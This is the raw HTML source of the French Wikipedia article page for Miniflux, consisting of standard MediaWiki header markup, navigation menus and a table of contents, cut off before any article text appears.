href=\"/w/load.php?lang=fr&amp;modules=codex-search-styles%7Cext.cite.styles%7Cext.uls.interlanguage%7Cext.visualEditor.desktopArticleTarget.noscript%7Cext.wikimediaBadges%7Cskins.vector.icons%2Cstyles%7Cwikibase.client.init&amp;only=styles&amp;skin=vector-2022\">\n<script async=\"\" src=\"/w/load.php?lang=fr&amp;modules=startup&amp;only=scripts&amp;raw=1&amp;skin=vector-2022\"></script>\n<meta name=\"ResourceLoaderDynamicStyles\" content=\"\">\n<link rel=\"stylesheet\" href=\"/w/load.php?lang=fr&amp;modules=site.styles&amp;only=styles&amp;skin=vector-2022\">\n<meta name=\"generator\" content=\"MediaWiki 1.42.0-wmf.20\">\n<meta name=\"referrer\" content=\"origin\">\n<meta name=\"referrer\" content=\"origin-when-cross-origin\">\n<meta name=\"robots\" content=\"max-image-preview:standard\">\n<meta name=\"format-detection\" content=\"telephone=no\">\n<meta name=\"viewport\" content=\"width=1000\">\n<meta property=\"og:title\" content=\"Miniflux — Wikipédia\">\n<meta property=\"og:type\" content=\"website\">\n<link rel=\"preconnect\" href=\"//upload.wikimedia.org\">\n<link rel=\"alternate\" media=\"only screen and (max-width: 720px)\" href=\"//fr.m.wikipedia.org/wiki/Miniflux\">\n<link rel=\"alternate\" type=\"application/x-wiki\" title=\"Modifier\" href=\"/w/index.php?title=Miniflux&amp;action=edit\">\n<link rel=\"apple-touch-icon\" href=\"/static/apple-touch/wikipedia.png\">\n<link rel=\"icon\" href=\"/static/favicon/wikipedia.ico\">\n<link rel=\"search\" type=\"application/opensearchdescription+xml\" href=\"/w/opensearch_desc.php\" title=\"Wikipédia (fr)\">\n<link rel=\"EditURI\" type=\"application/rsd+xml\" href=\"//fr.wikipedia.org/w/api.php?action=rsd\">\n<link rel=\"canonical\" href=\"https://fr.wikipedia.org/wiki/Miniflux\">\n<link rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/deed.fr\">\n<link rel=\"alternate\" type=\"application/atom+xml\" title=\"Flux Atom de Wikipédia\" href=\"/w/index.php?title=Sp%C3%A9cial:Modifications_r%C3%A9centes&amp;feed=atom\">\n<link rel=\"dns-prefetch\" href=\"//meta.wikimedia.org\" />\n<link rel=\"dns-prefetch\" href=\"//login.wikimedia.org\">\n</head>\n<body class=\"skin-vector skin-vector-search-vue mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject mw-editable page-Miniflux rootpage-Miniflux skin-vector-2022 action-view\"><a class=\"mw-jump-link\" href=\"#bodyContent\">Aller au contenu</a>\n<div class=\"vector-header-container\">\n\t<header class=\"vector-header mw-header\">\n\t\t<div class=\"vector-header-start\">\n\t\t\t<nav class=\"vector-main-menu-landmark\" aria-label=\"Site\" role=\"navigation\">\n\t\t\t\t\n<div id=\"vector-main-menu-dropdown\" class=\"vector-dropdown vector-main-menu-dropdown vector-button-flush-left vector-button-flush-right\"  >\n\t<input type=\"checkbox\" id=\"vector-main-menu-dropdown-checkbox\" role=\"button\" aria-haspopup=\"true\" data-event-name=\"ui.dropdown-vector-main-menu-dropdown\" class=\"vector-dropdown-checkbox \"  aria-label=\"Menu principal\"  >\n\t<label id=\"vector-main-menu-dropdown-label\" for=\"vector-main-menu-dropdown-checkbox\" class=\"vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only \" aria-hidden=\"true\"  ><span class=\"vector-icon mw-ui-icon-menu mw-ui-icon-wikimedia-menu\"></span>\n\n<span class=\"vector-dropdown-label-text\">Menu principal</span>\n\t</label>\n\t<div class=\"vector-dropdown-content\">\n\n\n\t\t\t\t<div id=\"vector-main-menu-unpinned-container\" class=\"vector-unpinned-container\">\n\t\t\n<div id=\"vector-main-menu\" class=\"vector-main-menu vector-pinnable-element\">\n\t<div\n\tclass=\"vector-pinnable-header vector-main-menu-pinnable-header vector-pinnable-header-unpinned\"\n\tdata-feature-name=\"main-menu-pinned\"\n\tdata-pinnable-element-id=\"vector-main-menu\"\n\tdata-pinned-container-id=\"vector-main-menu-pinned-container\"\n\tdata-unpinned-container-id=\"vector-main-menu-unpinned-container\"\n>\n\t<div class=\"vector-pinnable-header-label\">Menu principal</div>\n\t<button class=\"vector-pinnable-header-toggle-button vector-pinnable-header-pin-button\" data-event-name=\"pinnable-header.vector-main-menu.pin\">déplacer vers la barre latérale</button>\n\t<button class=\"vector-pinnable-header-toggle-button vector-pinnable-header-unpin-button\" data-event-name=\"pinnable-header.vector-main-menu.unpin\">masquer</button>\n</div>\n\n\t\n<div id=\"p-navigation\" class=\"vector-menu mw-portlet mw-portlet-navigation\"  >\n\t<div class=\"vector-menu-heading\">\n\t\tNavigation\n\t</div>\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"n-mainpage-description\" class=\"mw-list-item\"><a href=\"/wiki/Wikip%C3%A9dia:Accueil_principal\" title=\"Accueil général [z]\" accesskey=\"z\"><span>Accueil</span></a></li><li id=\"n-thema\" class=\"mw-list-item\"><a href=\"/wiki/Portail:Accueil\"><span>Portails thématiques</span></a></li><li id=\"n-randompage\" class=\"mw-list-item\"><a href=\"/wiki/Sp%C3%A9cial:Page_au_hasard\" title=\"Affiche un article au hasard [x]\" accesskey=\"x\"><span>Article au hasard</span></a></li><li id=\"n-contact\" class=\"mw-list-item\"><a href=\"/wiki/Wikip%C3%A9dia:Contact\"><span>Contact</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t\n\t\n<div id=\"p-Contribuer\" class=\"vector-menu mw-portlet mw-portlet-Contribuer\"  >\n\t<div class=\"vector-menu-heading\">\n\t\tContribuer\n\t</div>\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"n-aboutwp\" class=\"mw-list-item\"><a href=\"/wiki/Aide:D%C3%A9buter\"><span>Débuter sur Wikipédia</span></a></li><li id=\"n-help\" class=\"mw-list-item\"><a href=\"/wiki/Aide:Accueil\" title=\"Accès à l’aide\"><span>Aide</span></a></li><li id=\"n-portal\" class=\"mw-list-item\"><a href=\"/wiki/Wikip%C3%A9dia:Accueil_de_la_communaut%C3%A9\" title=\"À propos du projet, ce que vous pouvez faire, où trouver les informations\"><span>Communauté</span></a></li><li id=\"n-recentchanges\" class=\"mw-list-item\"><a href=\"/wiki/Sp%C3%A9cial:Modifications_r%C3%A9centes\" title=\"Liste des modifications récentes sur le wiki [r]\" accesskey=\"r\"><span>Modifications récentes</span></a></li><li id=\"n-sitesupport\" class=\"mw-list-item\"><a href=\"//donate.wikimedia.org/wiki/Special:FundraiserRedirector?utm_source=donate&amp;utm_medium=sidebar&amp;utm_campaign=C13_fr.wikipedia.org&amp;uselang=fr\" title=\"Soutenez-nous\"><span>Faire un don</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t\n<div class=\"vector-main-menu-action vector-main-menu-action-lang-alert vector-main-menu-action-lang-alert-empty\">\n\t<div class=\"vector-main-menu-action-item\">\n\t\t<div class=\"vector-main-menu-action-heading vector-menu-heading\">Langues</div>\n\t\t<div class=\"vector-main-menu-action-content vector-menu-content\">\n\t\t\t<div class=\"mw-message-box cdx-message cdx-message--block mw-message-box-notice cdx-message--notice vector-language-sidebar-alert\"><span class=\"cdx-message__icon\"></span><div class=\"cdx-message__content\">Sur cette version linguistique de Wikipédia, les liens interlangues sont placés en haut à droite du titre de l’article.<br /><a href=\"#p-lang-btn\">Aller en haut</a>.</div></div>\n\t\t</div>\n\t</div>\n</div>\n\n</div>\n\n\t\t\t\t</div>\n\n\t</div>\n</div>\n\n\t\t</nav>\n\t\t\t\n<a href=\"/wiki/Wikip%C3%A9dia:Accueil_principal\" class=\"mw-logo\">\n\t<img class=\"mw-logo-icon\" src=\"/static/images/icons/wikipedia.png\" alt=\"\" aria-hidden=\"true\" height=\"50\" width=\"50\">\n\t<span class=\"mw-logo-container\">\n\t\t<img class=\"mw-logo-wordmark\" alt=\"Wikipédia\" src=\"/static/images/mobile/copyright/wikipedia-wordmark-fr.svg\" style=\"width: 7.5em; height: 1.125em;\">\n\t\t<img class=\"mw-logo-tagline\" alt=\"l&#039;encyclopédie libre\" src=\"/static/images/mobile/copyright/wikipedia-tagline-fr.svg\" width=\"120\" height=\"13\" style=\"width: 7.5em; height: 0.8125em;\">\n\t</span>\n</a>\n\n\t\t</div>\n\t\t<div class=\"vector-header-end\">\n\t\t\t\n<div id=\"p-search\" role=\"search\" class=\"vector-search-box-vue  vector-search-box-collapses vector-search-box-show-thumbnail vector-search-box-auto-expand-width vector-search-box\">\n\t<a href=\"/wiki/Sp%C3%A9cial:Recherche\" class=\"cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only search-toggle\" id=\"\" title=\"Rechercher sur Wikipédia [f]\" accesskey=\"f\"><span class=\"vector-icon mw-ui-icon-search mw-ui-icon-wikimedia-search\"></span>\n\n<span>Rechercher</span>\n\t</a>\n\t<div class=\"vector-typeahead-search-container\">\n\t\t<div class=\"cdx-typeahead-search cdx-typeahead-search--show-thumbnail cdx-typeahead-search--auto-expand-width\">\n\t\t\t<form action=\"/w/index.php\" id=\"searchform\" class=\"cdx-search-input cdx-search-input--has-end-button\">\n\t\t\t\t<div id=\"simpleSearch\" class=\"cdx-search-input__input-wrapper\"  data-search-loc=\"header-moved\">\n\t\t\t\t\t<div class=\"cdx-text-input cdx-text-input--has-start-icon\">\n\t\t\t\t\t\t<input\n\t\t\t\t\t\t\tclass=\"cdx-text-input__input\"\n\t\t\t\t\t\t\t type=\"search\" name=\"search\" placeholder=\"Rechercher sur Wikipédia\" aria-label=\"Rechercher sur Wikipédia\" autocapitalize=\"sentences\" title=\"Rechercher sur Wikipédia [f]\" accesskey=\"f\" id=\"searchInput\"\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t<span class=\"cdx-text-input__icon cdx-text-input__start-icon\"></span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<input type=\"hidden\" name=\"title\" value=\"Spécial:Recherche\">\n\t\t\t\t</div>\n\t\t\t\t<button class=\"cdx-button cdx-search-input__end-button\">Rechercher</button>\n\t\t\t</form>\n\t\t</div>\n\t</div>\n</div>\n\n\t\t\t<nav class=\"vector-user-links vector-user-links-wide\" aria-label=\"Outils personnels\" role=\"navigation\" >\n\t<div class=\"vector-user-links-main\">\n\t\n<div id=\"p-vector-user-menu-preferences\" class=\"vector-menu mw-portlet emptyPortlet\"  >\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t\n<div id=\"p-vector-user-menu-userpage\" class=\"vector-menu mw-portlet emptyPortlet\"  >\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t<nav class=\"vector-client-prefs-landmark\" aria-label=\"Apparence\">\n\t\t\n\t\t\n\t</nav>\n\t\n<div id=\"p-vector-user-menu-notifications\" class=\"vector-menu mw-portlet emptyPortlet\"  >\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t\n<div id=\"p-vector-user-menu-overflow\" class=\"vector-menu mw-portlet\"  >\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t<li id=\"pt-createaccount-2\" class=\"user-links-collapsible-item mw-list-item user-links-collapsible-item\"><a data-mw=\"interface\" href=\"/w/index.php?title=Sp%C3%A9cial:Cr%C3%A9er_un_compte&amp;returnto=Miniflux\" title=\"Nous vous encourageons à créer un compte utilisateur et vous connecter ; ce n’est cependant pas obligatoire.\" class=\"\"><span>Créer un compte</span></a>\n</li>\n<li id=\"pt-login-2\" class=\"user-links-collapsible-item mw-list-item user-links-collapsible-item\"><a data-mw=\"interface\" href=\"/w/index.php?title=Sp%C3%A9cial:Connexion&amp;returnto=Miniflux\" title=\"Nous vous encourageons à vous connecter ; ce n’est cependant pas obligatoire. [o]\" accesskey=\"o\" class=\"\"><span>Se connecter</span></a>\n</li>\n\n\t\t\t\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t</div>\n\t\n<div id=\"vector-user-links-dropdown\" class=\"vector-dropdown vector-user-menu vector-button-flush-right vector-user-menu-logged-out\"  title=\"Plus d’options\" >\n\t<input type=\"checkbox\" id=\"vector-user-links-dropdown-checkbox\" role=\"button\" aria-haspopup=\"true\" data-event-name=\"ui.dropdown-vector-user-links-dropdown\" class=\"vector-dropdown-checkbox \"  aria-label=\"Outils personnels\"  >\n\t<label id=\"vector-user-links-dropdown-label\" for=\"vector-user-links-dropdown-checkbox\" class=\"vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only \" aria-hidden=\"true\"  ><span class=\"vector-icon mw-ui-icon-ellipsis mw-ui-icon-wikimedia-ellipsis\"></span>\n\n<span class=\"vector-dropdown-label-text\">Outils personnels</span>\n\t</label>\n\t<div class=\"vector-dropdown-content\">\n\n\n\t\t\n<div id=\"p-personal\" class=\"vector-menu mw-portlet mw-portlet-personal user-links-collapsible-item\"  title=\"Menu utilisateur\" >\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"pt-createaccount\" class=\"user-links-collapsible-item mw-list-item\"><a href=\"/w/index.php?title=Sp%C3%A9cial:Cr%C3%A9er_un_compte&amp;returnto=Miniflux\" title=\"Nous vous encourageons à créer un compte utilisateur et vous connecter ; ce n’est cependant pas obligatoire.\"><span class=\"vector-icon mw-ui-icon-userAdd mw-ui-icon-wikimedia-userAdd\"></span> <span>Créer un compte</span></a></li><li id=\"pt-login\" class=\"user-links-collapsible-item mw-list-item\"><a href=\"/w/index.php?title=Sp%C3%A9cial:Connexion&amp;returnto=Miniflux\" title=\"Nous vous encourageons à vous connecter ; ce n’est cependant pas obligatoire. [o]\" accesskey=\"o\"><span class=\"vector-icon mw-ui-icon-logIn mw-ui-icon-wikimedia-logIn\"></span> <span>Se connecter</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n<div id=\"p-user-menu-anon-editor\" class=\"vector-menu mw-portlet mw-portlet-user-menu-anon-editor\"  >\n\t<div class=\"vector-menu-heading\">\n\t\tPages pour les contributeurs déconnectés <a href=\"/wiki/Aide:Introduction\" aria-label=\"En savoir plus sur la contribution\"><span>en savoir plus</span></a>\n\t</div>\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"pt-anoncontribs\" class=\"mw-list-item\"><a href=\"/wiki/Sp%C3%A9cial:Mes_contributions\" title=\"Une liste des modifications effectuées depuis cette adresse IP [y]\" accesskey=\"y\"><span>Contributions</span></a></li><li id=\"pt-anontalk\" class=\"mw-list-item\"><a href=\"/wiki/Sp%C3%A9cial:Mes_discussions\" title=\"La page de discussion pour les contributions depuis cette adresse IP [n]\" accesskey=\"n\"><span>Discussion</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t\n\t</div>\n</div>\n\n</nav>\n\n\t\t</div>\n\t</header>\n</div>\n<div class=\"mw-page-container\">\n\t<div class=\"mw-page-container-inner\">\n\t\t<div class=\"vector-sitenotice-container\">\n\t\t\t<div id=\"siteNotice\"><!-- CentralNotice --></div>\n\t\t</div>\n\t\t<div class=\"vector-column-start\">\n\t\t\t<div class=\"vector-main-menu-container\">\n\t\t<div id=\"mw-navigation\">\n\t\t\t<nav id=\"mw-panel\" class=\"vector-main-menu-landmark\" aria-label=\"Site\" role=\"navigation\">\n\t\t\t\t<div id=\"vector-main-menu-pinned-container\" class=\"vector-pinned-container\">\n\t\t\t\t\n\t\t\t\t</div>\n\t\t</nav>\n\t\t</div>\n\t</div>\n\t<div class=\"vector-sticky-pinned-container\">\n\t\t\t\t<nav id=\"mw-panel-toc\" role=\"navigation\" aria-label=\"Sommaire\" data-event-name=\"ui.sidebar-toc\" class=\"mw-table-of-contents-container vector-toc-landmark\">\n\t\t\t\t\t<div id=\"vector-toc-pinned-container\" class=\"vector-pinned-container\">\n\t\t\t\t\t<div id=\"vector-toc\" class=\"vector-toc vector-pinnable-element\">\n\t<div\n\tclass=\"vector-pinnable-header vector-toc-pinnable-header vector-pinnable-header-pinned\"\n\tdata-feature-name=\"toc-pinned\"\n\tdata-pinnable-element-id=\"vector-toc\"\n\t\n\t\n>\n\t<h2 class=\"vector-pinnable-header-label\">Sommaire</h2>\n\t<button class=\"vector-pinnable-header-toggle-button vector-pinnable-header-pin-button\" data-event-name=\"pinnable-header.vector-toc.pin\">déplacer vers la barre latérale</button>\n\t<button class=\"vector-pinnable-header-toggle-button vector-pinnable-header-unpin-button\" data-event-name=\"pinnable-header.vector-toc.unpin\">masquer</button>\n</div>\n\n\n\t<ul class=\"vector-toc-contents\" id=\"mw-panel-toc-list\">\n\t\t<li id=\"toc-mw-content-text\"\n\t\t\tclass=\"vector-toc-list-item vector-toc-level-1\">\n\t\t\t<a href=\"#\" class=\"vector-toc-link\">\n\t\t\t\t<div class=\"vector-toc-text\">Début</div>\n\t\t\t</a>\n\t\t</li>\n\t\t<li id=\"toc-Caractéristiques\"\n\t\tclass=\"vector-toc-list-item vector-toc-level-1 vector-toc-list-item-expanded\">\n\t\t<a class=\"vector-toc-link\" href=\"#Caractéristiques\">\n\t\t\t<div class=\"vector-toc-text\">\n\t\t\t<span class=\"vector-toc-numb\">1</span>Caractéristiques</div>\n\t\t</a>\n\t\t\n\t\t<ul id=\"toc-Caractéristiques-sublist\" class=\"vector-toc-list\">\n\t\t</ul>\n\t</li>\n\t<li id=\"toc-Liens_externes\"\n\t\tclass=\"vector-toc-list-item vector-toc-level-1 vector-toc-list-item-expanded\">\n\t\t<a class=\"vector-toc-link\" href=\"#Liens_externes\">\n\t\t\t<div class=\"vector-toc-text\">\n\t\t\t<span class=\"vector-toc-numb\">2</span>Liens externes</div>\n\t\t</a>\n\t\t\n\t\t<ul id=\"toc-Liens_externes-sublist\" class=\"vector-toc-list\">\n\t\t</ul>\n\t</li>\n\t<li id=\"toc-Notes_et_références\"\n\t\tclass=\"vector-toc-list-item vector-toc-level-1 vector-toc-list-item-expanded\">\n\t\t<a class=\"vector-toc-link\" href=\"#Notes_et_références\">\n\t\t\t<div class=\"vector-toc-text\">\n\t\t\t<span class=\"vector-toc-numb\">3</span>Notes et références</div>\n\t\t</a>\n\t\t\n\t\t<ul id=\"toc-Notes_et_références-sublist\" class=\"vector-toc-list\">\n\t\t</ul>\n\t</li>\n</ul>\n</div>\n\n\t\t\t\t\t</div>\n\t\t</nav>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"mw-content-container\">\n\t\t\t<main id=\"content\" class=\"mw-body\" role=\"main\">\n\t\t\t\t<header class=\"mw-body-header vector-page-titlebar\">\n\t\t\t\t\t<nav role=\"navigation\" aria-label=\"Sommaire\" class=\"vector-toc-landmark\">\n\t\t\t\t\t\t\n<div id=\"vector-page-titlebar-toc\" class=\"vector-dropdown vector-page-titlebar-toc vector-button-flush-left\"  >\n\t<input type=\"checkbox\" id=\"vector-page-titlebar-toc-checkbox\" role=\"button\" aria-haspopup=\"true\" data-event-name=\"ui.dropdown-vector-page-titlebar-toc\" class=\"vector-dropdown-checkbox \"  aria-label=\"Basculer la table des matières\"  >\n\t<label id=\"vector-page-titlebar-toc-label\" for=\"vector-page-titlebar-toc-checkbox\" class=\"vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only \" aria-hidden=\"true\"  ><span class=\"vector-icon mw-ui-icon-listBullet mw-ui-icon-wikimedia-listBullet\"></span>\n\n<span class=\"vector-dropdown-label-text\">Basculer la table des matières</span>\n\t</label>\n\t<div class=\"vector-dropdown-content\">\n\n\n\t\t\t\t\t\t\t<div id=\"vector-page-titlebar-toc-unpinned-container\" class=\"vector-unpinned-container\">\n\t\t\t</div>\n\t\t\n\t</div>\n</div>\n\n\t\t\t\t\t</nav>\n\t\t\t\t\t<h1 id=\"firstHeading\" class=\"firstHeading mw-first-heading\"><span class=\"mw-page-title-main\">Miniflux</span></h1>\n\t\t\t\t\t\t\t\n<div id=\"p-lang-btn\" class=\"vector-dropdown mw-portlet mw-portlet-lang\"  >\n\t<input type=\"checkbox\" id=\"p-lang-btn-checkbox\" role=\"button\" aria-haspopup=\"true\" data-event-name=\"ui.dropdown-p-lang-btn\" class=\"vector-dropdown-checkbox mw-interlanguage-selector\" aria-label=\"Cet article n’existe que dans cette langue. Ajouter l’article pour d’autres langues.\"   >\n\t<label id=\"p-lang-btn-label\" for=\"p-lang-btn-checkbox\" class=\"vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--action-progressive mw-portlet-lang-heading-0\" aria-hidden=\"true\"  ><span class=\"vector-icon mw-ui-icon-language-progressive mw-ui-icon-wikimedia-language-progressive\"></span>\n\n<span class=\"vector-dropdown-label-text\">Ajouter des langues</span>\n\t</label>\n\t<div class=\"vector-dropdown-content\">\n\n\t\t<div class=\"vector-menu-content\">\n\t\t\t\n\t\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\t\n\t\t\t\t\n\t\t\t</ul>\n\t\t\t<div class=\"after-portlet after-portlet-lang\"><span class=\"uls-after-portlet-link\"></span><span class=\"wb-langlinks-add wb-langlinks-link\"><a href=\"https://www.wikidata.org/wiki/Special:EntityPage/Q16664605#sitelinks-wikipedia\" title=\"Ajouter des liens interlangues\" class=\"wbc-editpage\">Ajouter des liens</a></span></div>\n\t\t</div>\n\n\t</div>\n</div>\n</header>\n\t\t\t\t<div class=\"vector-page-toolbar\">\n\t\t\t\t\t<div class=\"vector-page-toolbar-container\">\n\t\t\t\t\t\t<div id=\"left-navigation\">\n\t\t\t\t\t\t\t<nav aria-label=\"Espaces de noms\">\n\t\t\t\t\t\t\t\t\n<div id=\"p-associated-pages\" class=\"vector-menu vector-menu-tabs mw-portlet mw-portlet-associated-pages\"  >\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"ca-nstab-main\" class=\"selected vector-tab-noicon mw-list-item\"><a href=\"/wiki/Miniflux\" title=\"Voir le contenu de la page [c]\" accesskey=\"c\"><span>Article</span></a></li><li id=\"ca-talk\" class=\"new vector-tab-noicon mw-list-item\"><a href=\"/w/index.php?title=Discussion:Miniflux&amp;action=edit&amp;redlink=1\" rel=\"discussion\" title=\"Discussion au sujet de cette page de contenu (page inexistante) [t]\" accesskey=\"t\"><span>Discussion</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t\t\t\t\t\t\t\t\n<div id=\"p-variants\" class=\"vector-dropdown emptyPortlet\"  >\n\t<input type=\"checkbox\" id=\"p-variants-checkbox\" role=\"button\" aria-haspopup=\"true\" data-event-name=\"ui.dropdown-p-variants\" class=\"vector-dropdown-checkbox \" aria-label=\"Modifier la variante de langue\"   >\n\t<label id=\"p-variants-label\" for=\"p-variants-checkbox\" class=\"vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet\" aria-hidden=\"true\"  ><span class=\"vector-dropdown-label-text\">français</span>\n\t</label>\n\t<div class=\"vector-dropdown-content\">\n\n\n\t\t\t\t\t\n<div id=\"p-variants\" class=\"vector-menu mw-portlet mw-portlet-variants emptyPortlet\"  >\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t\t\t\t\n\t</div>\n</div>\n\n\t\t\t\t\t\t\t</nav>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div id=\"right-navigation\" class=\"vector-collapsible\">\n\t\t\t\t\t\t\t<nav aria-label=\"Affichages\">\n\t\t\t\t\t\t\t\t\n<div id=\"p-views\" class=\"vector-menu vector-menu-tabs mw-portlet mw-portlet-views\"  >\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"ca-view\" class=\"selected vector-tab-noicon mw-list-item\"><a href=\"/wiki/Miniflux\"><span>Lire</span></a></li><li id=\"ca-ve-edit\" class=\"vector-tab-noicon mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;veaction=edit\" title=\"Modifier cette page [v]\" accesskey=\"v\"><span>Modifier</span></a></li><li id=\"ca-edit\" class=\"collapsible vector-tab-noicon mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;action=edit\" title=\"Modifier le wikicode de cette page [e]\" accesskey=\"e\"><span>Modifier le code</span></a></li><li id=\"ca-history\" class=\"vector-tab-noicon mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;action=history\" title=\"Historique des versions de cette page [h]\" accesskey=\"h\"><span>Voir l’historique</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n\t\t\t\t\t\t\t</nav>\n\t\t\t\t\n\t\t\t\t\t\t\t<nav class=\"vector-page-tools-landmark\" aria-label=\"Outils de la page\">\n\t\t\t\t\t\t\t\t\n<div id=\"vector-page-tools-dropdown\" class=\"vector-dropdown vector-page-tools-dropdown\"  >\n\t<input type=\"checkbox\" id=\"vector-page-tools-dropdown-checkbox\" role=\"button\" aria-haspopup=\"true\" data-event-name=\"ui.dropdown-vector-page-tools-dropdown\" class=\"vector-dropdown-checkbox \"  aria-label=\"Outils\"  >\n\t<label id=\"vector-page-tools-dropdown-label\" for=\"vector-page-tools-dropdown-checkbox\" class=\"vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet\" aria-hidden=\"true\"  ><span class=\"vector-dropdown-label-text\">Outils</span>\n\t</label>\n\t<div class=\"vector-dropdown-content\">\n\n\n\t\t\t\t\t\t\t\t\t<div id=\"vector-page-tools-unpinned-container\" class=\"vector-unpinned-container\">\n\t\t\t\t\t\t\n<div id=\"vector-page-tools\" class=\"vector-page-tools vector-pinnable-element\">\n\t<div\n\tclass=\"vector-pinnable-header vector-page-tools-pinnable-header vector-pinnable-header-unpinned\"\n\tdata-feature-name=\"page-tools-pinned\"\n\tdata-pinnable-element-id=\"vector-page-tools\"\n\tdata-pinned-container-id=\"vector-page-tools-pinned-container\"\n\tdata-unpinned-container-id=\"vector-page-tools-unpinned-container\"\n>\n\t<div class=\"vector-pinnable-header-label\">Outils</div>\n\t<button class=\"vector-pinnable-header-toggle-button vector-pinnable-header-pin-button\" data-event-name=\"pinnable-header.vector-page-tools.pin\">déplacer vers la barre latérale</button>\n\t<button class=\"vector-pinnable-header-toggle-button vector-pinnable-header-unpin-button\" data-event-name=\"pinnable-header.vector-page-tools.unpin\">masquer</button>\n</div>\n\n\t\n<div id=\"p-cactions\" class=\"vector-menu mw-portlet mw-portlet-cactions emptyPortlet vector-has-collapsible-items\"  title=\"Plus d’options\" >\n\t<div class=\"vector-menu-heading\">\n\t\tActions\n\t</div>\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"ca-more-view\" class=\"selected vector-more-collapsible-item mw-list-item\"><a href=\"/wiki/Miniflux\"><span>Lire</span></a></li><li id=\"ca-more-ve-edit\" class=\"vector-more-collapsible-item mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;veaction=edit\" title=\"Modifier cette page [v]\" accesskey=\"v\"><span>Modifier</span></a></li><li id=\"ca-more-edit\" class=\"collapsible vector-more-collapsible-item mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;action=edit\" title=\"Modifier le wikicode de cette page [e]\" accesskey=\"e\"><span>Modifier le code</span></a></li><li id=\"ca-more-history\" class=\"vector-more-collapsible-item mw-list-item\"><a href=\"/w/index.php?title=Miniflux&amp;action=history\"><span>Voir l’historique</span></a></li>\n\t\t</ul>\n\t\t\n\t</div>\n</div>\n\n<div id=\"p-tb\" class=\"vector-menu mw-portlet mw-portlet-tb\"  >\n\t<div class=\"vector-menu-heading\">\n\t\tGénéral\n\t</div>\n\t<div class=\"vector-menu-content\">\n\t\t\n\t\t<ul class=\"vector-menu-content-list\">\n\t\t\t\n\t\t\t<li id=\"t-whatlinkshere\" class=\"mw-list-item\"><a href=\"/wiki/Sp%C3%A9cial:Pages_li%C3%A9es/Miniflux\" title=\"Liste des pages liées qui pointent sur celle-ci [j]\" accesskey=\"j\"><span>Pages liées</span></a></li><li id=\"t-recentchangeslinked\" class=\"mw-list-item\"><a href=\"/wiki/Sp%C3%A9cial:Suivi_des_liens/Miniflux\" rel=\"nofollow\" title=\"Liste des modifications récentes des pages appelées par celle-ci [k]\" accesskey=\"k\"><span>Suivi des pages liées</span></a></li><li id=\"t-upload\" class=\"mw-list-item\"><a href=\"/wiki/Aide:Importer_un_fichier\" title=\"Téléverser des fichiers [u]\" accesskey=\"u\"><span>Téléverser un fichier</span></a></li><li id=\"t-specialpages\" class=\"mw-list-item\"><a href=\"/wiki/Sp%C3%A9cial:Pages_sp%C3%A9ciales\" title=\"Liste de toutes les pages spéciales [q]\" accesskey=\"q\"><span>Pages spéciales</span></a></li><li id=\"t-permalink\" 